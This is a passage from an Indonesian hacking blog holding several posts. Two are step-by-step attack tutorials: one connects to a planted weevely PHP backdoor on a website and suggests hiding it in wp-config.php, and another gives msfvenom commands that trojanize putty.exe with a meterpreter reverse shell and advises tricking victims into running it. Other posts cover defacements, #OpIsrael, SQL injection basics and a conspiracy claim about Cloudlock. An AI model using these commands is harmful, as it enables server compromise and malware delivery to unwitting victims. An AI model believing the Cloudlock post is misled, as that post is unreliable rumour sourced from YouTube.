weevely http://shop.suserc0de.tk/m0nster.php phobos549</blockquote>
<div>
Setelah itu, kita enter, dan menunggu hingga ada hasil seperti milik saya dibawah ini:</div>
<div>
 </div>
<div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgjKgC7kPH9xYzmbkhBkg2NaYs7qgt1aeSxBVzgKs4ERZJHR-1NyYHNotPJ5yzEgsxdbNjtIsesz83XRFzEH-HPTKOwkYgnA4ev2tl-MJ5Tawid39ElNYYT9sT0wZhb6qcBrFVoQgbQvhID/s1600/Screenshot+from+2013-11-10+22:26:50.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="223" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgjKgC7kPH9xYzmbkhBkg2NaYs7qgt1aeSxBVzgKs4ERZJHR-1NyYHNotPJ5yzEgsxdbNjtIsesz83XRFzEH-HPTKOwkYgnA4ev2tl-MJ5Tawid39ElNYYT9sT0wZhb6qcBrFVoQgbQvhID/s400/Screenshot+from+2013-11-10+22:26:50.png" width="400" /></a></div>
 </div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhdBiUAigJqAJD4NRPNDLeAjZ8jyhkJhxeeW3InGxpXvOvosvAJ-IMeBJY9dAlRRCrAVenPeWioso-P3oV-f9ZsHMRFNYyB2VUPXbrf2xRSdi7sLhyphenhyphenegwXRfJVI-87tUTiRzVFKzjC-ocMu/s1600/Screenshot+from+2013-11-10+22:27:36.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="223" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhdBiUAigJqAJD4NRPNDLeAjZ8jyhkJhxeeW3InGxpXvOvosvAJ-IMeBJY9dAlRRCrAVenPeWioso-P3oV-f9ZsHMRFNYyB2VUPXbrf2xRSdi7sLhyphenhyphenegwXRfJVI-87tUTiRzVFKzjC-ocMu/s400/Screenshot+from+2013-11-10+22:27:36.png" width="400" /></a></div>
<div>
 </div>
<div>
Selamaat! Saya berhasil terhubung dengan server website tersebut. Dan semua terserah anda, apakah anda mau root server tersebut, atau apapun itu. Yang jelas, blog ini hanya untuk tujuan pembelajaran semata. Segala resiko, ditanggung oleh orang yang mengimplementasikan dijalan yang negatif.</div>
<div>
 </div>
<div>
NP: Script yang ada didalam file m0nster.php sebenarnya bisa dicopy-paste kedalam file yang ada didalam website tersebut. seperti di contact.php ataupun juga wp-config.php atau apapun. Dan perintahnya menjadi beda lagi pada saat kita melakukan panggilan terhadap file yang telah kita tanami backdoor lewat terminal kita. contoh : weevely http://shop.suserc0de.tk/config.php phobos549</div>
<div>
 </div>
<div>
Sekian untuk tutorial ini. =))</div>
<div>
./Pendiam</div>

Koneksi ke victim dengan menggunakan stealth backdoor pada weevely!

Kali ini kita akan mencba membuat back conect/bindshell dengan menggunakan weevely. Seperti gambar diatas, itu adalah tampilan yang saya ...

Cara Backdoor-ing Dengan Excutable File [[Metasploit | msfvenom]]

<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgEt9xsDnU2mmWojtpy6HfhYyjyz9Oi3uldyHxowqQ2Isu9L2CNBElC_u1zHoJvNFmoefaN6fVcJvW6gC5VkD0a2YsLgjUQcVvvpB2NmtpFqvy-bYHLei43jFUFqIj4G8ogwsovTeeTkWls/s1600/msfvenom.PNG" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="220" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgEt9xsDnU2mmWojtpy6HfhYyjyz9Oi3uldyHxowqQ2Isu9L2CNBElC_u1zHoJvNFmoefaN6fVcJvW6gC5VkD0a2YsLgjUQcVvvpB2NmtpFqvy-bYHLei43jFUFqIj4G8ogwsovTeeTkWls/s400/msfvenom.PNG" width="400" /></a></div>
 
Seperti judul, sekarang kita akan melakukan penetrasi menggunakan excutable file alias file yang di eksekusi oleh si "victim" alias target yang menggunakan windows. Yaitu, dengan menggunakan Metasploit Exploitation Framework's plugin yaitu:  Msfvenom... =)) 
 
Untuk Konesksi Local/LAN: 
 
Penjelasan awal: 
 
IP saya sebagai penyerang: 192.168.0.72 
IP target: 192.168.0.XX 
 
Kita Mulai! 
   
Ikuti saya, dengan membuka terminal dan ketikkan: 
<blockquote class="tr_bq">
wget http://the.earth.li/~sgtatham/putty/0.63/x86/putty.exe</blockquote>
 mengapa putty? yah, karena ini yang kita gunakan sebagai media yang akan kita injeksi dengan backdoor dari Metasploit. 
 
Sekarang, saya anggap anda berada dalam directory root yaah :)) jadi, sekarang kita injeksi aja langsung putty.exe nya dengan perintah ini: 
<blockquote class="tr_bq">
msfvenom -p windows/meterpreter/reverse_tcp -f exe -e x86/shikata_ga_nai -i 25 -k -x /root/putty.exe LHOST=192.168.0.72 LPORT=4444 > puttyi.exe</blockquote>
Saya jelaskan lagi bahwa 192.168.0.72 adalah IP kita, dan Port yang ingin kita gunakan adalah 4444. 
Dan, puttyi.exe adalah nama file yang telah kita injeksi dengan Backdoor. 
 
Sekarang, kita jalankan  metasploit kita. 
<blockquote class="tr_bq">
msfconsole </blockquote>
Sekarang kita mulai reverse handler untuk mendapatkan reverse connection. 
<blockquote class="tr_bq">
 use exploit/multi/handler set payload windows/meterpreter/reverse_tcp set LHOST 192.168.0.72 set LPORT 4444 exploit</blockquote>
   
Sekarang, tugas kita adalah share puttyi.exe ke komputer target, dan kita suruh target membuka-nya. Disini mungkin anda akan diuji soal kemampuan Social Engineering nya alias Soceng-nya. :)) 
 
Dan pada saat target membukanya, maka anda akan langsung konek alias berada dalam komputer target. Dan anda bisa berjoget ria seperti penonton YKS :)) Tapi tolong jangan menggunakan topen Guy Fawkes ya... =)) hahahaha.... 
 
Untuk target yang tidak berada dalam local area, alias menggunakan jaringan Internet. Maka itu nanti saja ya, saya juga masih belajar. Hehehe. 
 
Terimakasih untuk : exploiterz 
 
./Pendiam

Cara Backdoor-ing Dengan Excutable File [[Metasploit | msfvenom]]

Seperti judul, sekarang kita akan melakukan penetrasi menggunakan excutable file alias file yang di eksekusi oleh si "victim" a...

Sibuk Mencari Ketenaran Diri, Situs Hacker di Retas!

<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh4VZDnFIGnJH324bZSsVxBFJY78zPygz5Lbdxz8PzOM5J9NekcNum51dOhhyQ1MmDRbDf0qtK9y8EFyagMWzN2tqjaoALJL9DtFPpCmii8nWf4ylRYLMibNl2aqayupOArZlXnbbITl5pg/s1600/javacyber.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="233" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh4VZDnFIGnJH324bZSsVxBFJY78zPygz5Lbdxz8PzOM5J9NekcNum51dOhhyQ1MmDRbDf0qtK9y8EFyagMWzN2tqjaoALJL9DtFPpCmii8nWf4ylRYLMibNl2aqayupOArZlXnbbITl5pg/s400/javacyber.png" width="400" /></a></div>
 
 
Terjadi sebuah kehangatan dan memiliki bunyi "Cetarrrrrr Membahana". 
Beberapa hari yang lalu masih kita ingat, ratusan hacker indonesia melancarkan serangan ke berbagai situs baik milik pemerintah, ataupun milik company negara australia. 
Hal ini disebabkan karena mereka memprotest keras atas tindakan Australia memata-matai Indonesia lewat penyadapan. 
 
Dan beberapa dari mereka yang mengaku diri sebagai hacker, menggunakan nama team mereka dan terangkat ke media. Salah satunya adalah "JAVA CYBER ARMY" yang mana pada akhirnya mendapat panggilan wawancara sebagai narasumber disalah satu stasiun TV indonesia, yang pembawa acaranya terlalu gembar-gembor soal satu Team ini. =)) lol! 
 
Dan pada akhirnya sesuai dengan judul posting blog saya ini, situs resmi milik JCA ataupun java cyber army diretas Hacker "Asli". Mereka menyinggung jonathan yang datang memenuhi panggilan TV-One =)) 
 
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhSWhiNP_OLbXAzdwGh1QDx8yNxTMx8IsDwkVCOzhTBVTJwcYQ6DJFrFK_WcMB-Y969BacVHD3tw-trnXEWNgHpdQm63xfks1z2-kLtJH93RKec2r-l_fIz2q8BrGLRoVKaELjQHr_8z-vM/s1600/2.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="225" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhSWhiNP_OLbXAzdwGh1QDx8yNxTMx8IsDwkVCOzhTBVTJwcYQ6DJFrFK_WcMB-Y969BacVHD3tw-trnXEWNgHpdQm63xfks1z2-kLtJH93RKec2r-l_fIz2q8BrGLRoVKaELjQHr_8z-vM/s400/2.png" width="400" /></a></div>
 
 
Hingga saat berita ini saya turunkan situs tersebut masih "Under Construction" apabila anda membuka melalui URL ini: www.javacyberarmy.org. Sedangkan, apabila anda membuka URL menuju forum tempat para "Hacker" berkumpul www.javacyberarmy.org/forum/index.php maka anda akan melihat bahwa tidak terdapat directory tersebut, alias bisa dibilang directory itu sudah dihapus padahal sebelumnya forum tersebut lancar jaya. 
 
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgOiewUnl4KPSE5Y3mKEUznRkLj-onE_oQO0eP229i4A_mUaiac2eKV2noYEIXkYV5vFmt-Yjvlv-WSVUxDLLQn5psMsNesE2i7THiktUVGgupybd6Lq37nlFZuHxKd2kWpwktjrfUF2Q54/s1600/1.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="207" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgOiewUnl4KPSE5Y3mKEUznRkLj-onE_oQO0eP229i4A_mUaiac2eKV2noYEIXkYV5vFmt-Yjvlv-WSVUxDLLQn5psMsNesE2i7THiktUVGgupybd6Lq37nlFZuHxKd2kWpwktjrfUF2Q54/s400/1.png" width="400" /></a></div>
<div class="separator" style="clear: both; text-align: center;">
 </div>
<div class="separator" style="clear: both; text-align: left;">
Sekian postingan saya hari ini :)</div>
<div class="separator" style="clear: both; text-align: left;">
Jangan marah yaa para hacker, nanti blogger juga diretas lagi Lol!</div>
<div class="separator" style="clear: both; text-align: left;">
 </div>
<div class="separator" style="clear: both; text-align: left;">
./Pendiam</div>

Sibuk Mencari Ketenaran Diri, Situs Hacker di Retas!

Terjadi sebuah kehangatan dan memiliki bunyi "Cetarrrrrr Membahana". Beberapa hari yang lalu masih kita ingat, ratusan hacker...

Mengenal apa itu CyberWar

<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiLnP8RfqhW1_tPlDCU3VNZFXNnzgHV96KfBZASVpc-r8aJh8THEDC3VR77WDUKa9GoxoQTcKVPlZqutbeIHBkcv1H1qAO7_XjaSC1iffUcEvfP0mnqJHHiDXRJtluu8h3_YbuE5FdhpbZJ/s1600/Cyber-Warfare.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="208" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiLnP8RfqhW1_tPlDCU3VNZFXNnzgHV96KfBZASVpc-r8aJh8THEDC3VR77WDUKa9GoxoQTcKVPlZqutbeIHBkcv1H1qAO7_XjaSC1iffUcEvfP0mnqJHHiDXRJtluu8h3_YbuE5FdhpbZJ/s320/Cyber-Warfare.jpg" width="320" /></a></div>
 
ZanHaqi - Di era modern saat ini, perang yang paling hebat dampaknya adalah "CyberWarfare" atau biasa di sebut "CyberWar". Apakah itu CyberWar? 
 
CyberWar adalah perang yang terjadi di dalam dunia Internet alias di dalam CyberWorld. Perang tersebut hanya bersenjatakan Koneksi Internet dan juga tentu saja Komputer (PC/NoteBook/NetBook). Dalam beberapa tahun ini, yang saya tahu negara kita Indonesia sudah berperang 2x dengan negara lain. Yaitu dengan negara Malaysia tahun 2007 dengan kemenangan Mutlak Indonesia, dan tahun 2013 ini kita sedang di serang oleh Filipina serangan tersebut masih berlanjut hingga sekarang ini. 
 
CyberWar juga terjadi antara Iran dengan Israel yang di bantu oleh US. Dalam perang tersebut beberapa petinggi militer Iran tewas. What? Kenapa perang yang terjadi dalam dunia cyber ini dapat menimbulkan korban jiwa? 
 
Serangan yang di lancarkan oleh Zionis Israel adalah serangan dengan menggunakan virus jaringan, yang menyerang teknologi Listrik tenaga Nuklir pada saat masih dalam tahap uji coba. 
 
Dalam dunia Cyber ini, juga di ketahui ada juga mata-mata dunia Cyber yang biasa di sebut "CyberSpy". Seperti di film-film saja kan? hahaha... 
 
Dalam beberapa hari ini, saya juga menemukan bahwasannya Zionis Israel merekrut ribuan Hacker di negaranya, untuk membuat sebuah "CyberArmy" yang kuat. 
 
Sekian dulu posting saya, lebih dan kurangnya mohon maaf... 
Assalaamualaikum.

Mengenal apa itu CyberWar

ZanHaqi - Di era modern saat ini, perang yang paling hebat dampaknya adalah "CyberWarfare" atau biasa di sebut "CyberWar...

Bahaya Cloudlock Tchnology?

<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj6OOb0TzWNZI7rGM5CSHRaK8bCWQfrOuBgEbUsOCcBuMQMKDSYTqcBYOpTCLRj3vqYijASH0np88CBzB6SLLxUA_Ct_VpbmIAbbDWdY4k24wcKECKNTwAgwoHQ18NcFPaEYZ4zdXX_XoN-/s1600/data-loss-prevention-highlighted.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="320" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj6OOb0TzWNZI7rGM5CSHRaK8bCWQfrOuBgEbUsOCcBuMQMKDSYTqcBYOpTCLRj3vqYijASH0np88CBzB6SLLxUA_Ct_VpbmIAbbDWdY4k24wcKECKNTwAgwoHQ18NcFPaEYZ4zdXX_XoN-/s320/data-loss-prevention-highlighted.png" width="273" /></a></div>
 
ZanHaqi - Gil Zimmerman adalah penemu technology security Cloudlock yang kini di gunakan oleh google, dan beberapa perusahaan lainnya. 
 
Mengapa saya membuat postingan tentang Cloudlock? Oke langsung saja ke inti post. Hehehe 
Menurut desas desus yang beredar dari berbagai orang di US dan UK yang saya dapat dari <a href="http://www.youtube.com/" target="_blank">Youtube</a>, Cloudlock adalah teknologi yang di gunakan oleh IDF ( Ankatan Pertahanan Israel ) untuk mengambil informasi dari seluruh manusia yang berhubungan dengan internet. 
 
Menurut informasi, mereka telah merekrut A Thousands ( Ribuan hacker ) untuk menjalankan operasi rahasia yang telah di rencanakan oleh negara zionis Israel. Dalam rencana kali ini, mereka akan menyerang situs-situs bank di seluruh dunia. Karena seluruh bank di dunia menggunakan sistem Cloudlock Security. 
 
Antara percaya dan tidak, mereka menyebut ini sebagai Perang. Nama perangnya tidak begitu jelas di sebutkan dalam video yang saya lihat di <a href="http://www.youtube.com/" target="_blank">Youtube,</a> 
 
Dari Cloudlock Security inilah mereka menyimpan informasi IP Address (Alamat Komputer) kita, dimana dengan IP tersebut mereka bisa berbuat apa saja dengan mengatasnamakan IP kita meskipun komputer kita dalam keadaan mati. Itulah sistem teknology yang mereka buat. 
 
Sekian dari saya, karena postingan ini sangat sedikit sekali info yang saya tulis (berhubungan dengan jam makan siang) saya minta maaf.

Bahaya Cloudlock Tchnology?

ZanHaqi - Gil Zimmerman adalah penemu technology security Cloudlock yang kini di gunakan oleh google, dan beberapa perusahaan lainnya. ...

Waspadai SQL Error pada Website Anda!

<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh8IJhmSXjc5PZZZLZt8M9PmkfaVgkhOW8AYFQfml_0g7K2rJBFieRcUQMSlH5WAtgdtXl6oqpGVAd3lDlQWpFYXBxKVlpSNVdzFBoQKXYnmyC6PmkSzLfqvaxebrg2cwA8Dvx702wpsRuM/s1600/sql_img.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh8IJhmSXjc5PZZZLZt8M9PmkfaVgkhOW8AYFQfml_0g7K2rJBFieRcUQMSlH5WAtgdtXl6oqpGVAd3lDlQWpFYXBxKVlpSNVdzFBoQKXYnmyC6PmkSzLfqvaxebrg2cwA8Dvx702wpsRuM/s1600/sql_img.jpg" /></a></div>
 
 ZanHaqi ~ SQL error adalah masalah serius yang terjadi belakangan ini. Berhubungan dengan semakin banyaknya lammer (Peretas dengan menggunakan Program) di Indonesia, akhirnya saya memposting bahaya yang dapat terjadi kepada website anda jika terjadi SQL Error. 
 
Oke, saatnya kita langsung menuju inti post. Serangan hacker yang sering sekali terjadi adalah dengan menggunakan SQL Injection. Apakah itu SQLinjection? 
 
SQL Injection adalah sebuah teknik yang menyalahgunakan sebuah celah keamanan yang terjadi dalam lapisan basis data sebuah aplikasi. Celah ini terjadi ketika masukan pengguna tidak disaring secara benar dari karakter-karakter pelolos bentukan string yang diimbuhkan dalam pernyataan SQL atau masukan pengguna tidak bertipe kuat dan karenanya dijalankan tidak sesuai harapan. Ini sebenarnya adalah sebuah contoh dari sebuah kategori celah keamanan yang lebih umum yang dapat terjadi setiap kali sebuah bahasa pemrograman atau skrip diimbuhkan di dalam bahasa yang lain. (Wikipedia) 
 
Example: http://situs_anda.com/berita.php?id=14’ <<= Terdapat karakter (tanda petik (') ) 
 
Biasanya akan bertuliskan seperti ini: 
"You have an error in your SQL syntax.You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near....bla...bla...bla..." 
 
Nah lewat kesalahan tersebutlah situs anda di retas. Apa bahayanya bagi website anda? 
 
Keamanan database anda sangatlah penting jika anda menggunakan situs anda untuk bisnis online. Apa itu database? Cari saja di <a href="htt://www.google.co.id" target="_blank">Google</a> agar artikel ini pendek jadi saya gak perlu ngasih tau. hhehehe. Dari database yang dapat di baca oleh si peretas lewat SQLinjection, akan diperoleh, Username, Password, Email, CC (CreditCard), dan bahkan alamat anda. 
 
Oke segitu dulu deh, karena saya udah cape ngetiknya. hahahaha... Maaf jika ada yang kurang, mohon di komentar saja yah...

Waspadai SQL Error pada Website Anda!

ZanHaqi ~ SQL error adalah masalah serius yang terjadi belakangan ini. Berhubungan dengan semakin banyaknya lammer (Peretas dengan mengg...

7 April, Israel Akan Hilang dari Dunia Cyber

<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgxz84_Bv1ZUqSGEQ6_SAA6TLpIEKqVC5FUmRqoETjQ5UiW7OiNbaocpXE06lptFO4CXlf3_1Kotsl20uWAEsM8vVOzs5NkQUZs5PEIP2x_2nBy0H-TZYUddXtQz3U04BsCL7LgNI2SW9bS/s1600/anonymous_logo_plain_.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="320" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgxz84_Bv1ZUqSGEQ6_SAA6TLpIEKqVC5FUmRqoETjQ5UiW7OiNbaocpXE06lptFO4CXlf3_1Kotsl20uWAEsM8vVOzs5NkQUZs5PEIP2x_2nBy0H-TZYUddXtQz3U04BsCL7LgNI2SW9bS/s320/anonymous_logo_plain_.png" width="320" /></a></div>
ZanHaqi Blogsite, postingan kali ini gw akan membahas tentang negara zionis israel yang akan di hapuskan dari dunia CYBER alias Internet. 
 
Kelompok Aktivis Hacker Anonymous, mengumumkan kepada dunia bahwa mereka akan menyerang secara besar-besaran, dengan mempersatukan kekuatan mereka dengan kelompok lainnya di Negara-negara di seluruh dunia. 
 
<div style="text-align: center;">
Operasi ini mereka lancarkan dengan sebutan #OpIsrael.</div>
 
Serangan ini nantinya akan menjadi serangan ke-2 yang di lancarkan Anonymous terhadap Situs-situs Israel. Operasi pertama yang mereka lancarkan adalah pada bulan November 2012, terhitung 700 website milik israel berhasil di retas selama berulan-ulang. Dalam Operasi tersebut, situs-situs penting yang di miliki Israel turut di retas. 
 
Direktur sistem online pemerintah Israel (Ofir Ben Avi) mengatakan, stafnya menyadari serangan yang sedang direncanakan tersebut. Dirinya mengatakan hal ini sudah terorganisir sejak beberapa hari terakhir. Pembeda antara serangan kali ini dengan serangan sebelumnya adalah kali ini benar-benar diselenggarakan oleh kelompok Anonymous atau kelompok yang berafiliasi dari seluruh dunia untuk membentuk kekuatan penuh. 
 
Berikut ini beberapa tim hacker yang dilaporkan akan ikut menyerang website Israel adalah AnonGhost, Mauritania HaCker Team, Ajax Team, the Muslim Liberation Army, Moroccan Hackerz, Gaza Hacker Team, Gaza Security Team, Anonymous Syria, ZHC, The Hacker Army, X-BLACKERZ INC, Devil Zone Team, Moroccan Hackers dan Algerian Hackers, Turkish Anonymous, Indonesian Anonymous, dan juga IS-Team r00t.

7 April, Israel Akan Hilang dari Dunia Cyber

ZanHaqi Blogsite, postingan kali ini gw akan membahas tentang negara zionis israel yang akan di hapuskan dari dunia CYBER alias Internet. ...